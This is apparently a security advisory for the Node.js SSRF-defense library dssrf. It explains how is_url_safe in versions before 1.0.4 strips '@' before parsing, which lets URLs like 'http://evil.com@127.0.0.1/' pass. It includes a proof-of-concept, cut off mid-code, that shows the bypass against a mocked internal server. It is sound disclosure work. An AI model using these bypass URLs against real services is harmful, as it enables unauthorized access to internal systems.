DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.

Affected: npm: dssrf

## Summary

`is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked.

## Vulnerability

In `helpers.ts`, `is_url_safe` does:

```ts u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string // ... const parsed = new URL(u); const hostname = parsed.hostname; // resolved from the corrupted string ```

### What happens step by step

Input: `http://evil.com@127.0.0.1/`

1. `remove_at_symbol_in_string` → `http://evil.com127.0.0.1/` 2. `new URL(...)` → `hostname = "evil.com127.0.0.1"` 3. Not a bare IP, not IPv6 → passes all IP checks 4. `is_hostname_resolve_to_internal_ip("evil.com127.0.0.1")` → NXDOMAIN → returns false 5. **Result: `true` (safe)** — but any HTTP client using the *original* URL connects to `127.0.0.1`

### Proof of Concept

```js import nock from 'nock'; import { got } from 'got'; import { is_url_safe } from 'dssrf';

// Simulate an internal server at 10.0.0.1 that returns secret data nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');

const BYPASS_URL = 'http://2@10.0.0.1/'; const PLAIN_URL = 'http://10.0.0.1/';

// dssrf should block both — it only blocks the plain one console.log('--- dssrf validator ---'); console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked'); console.log(`…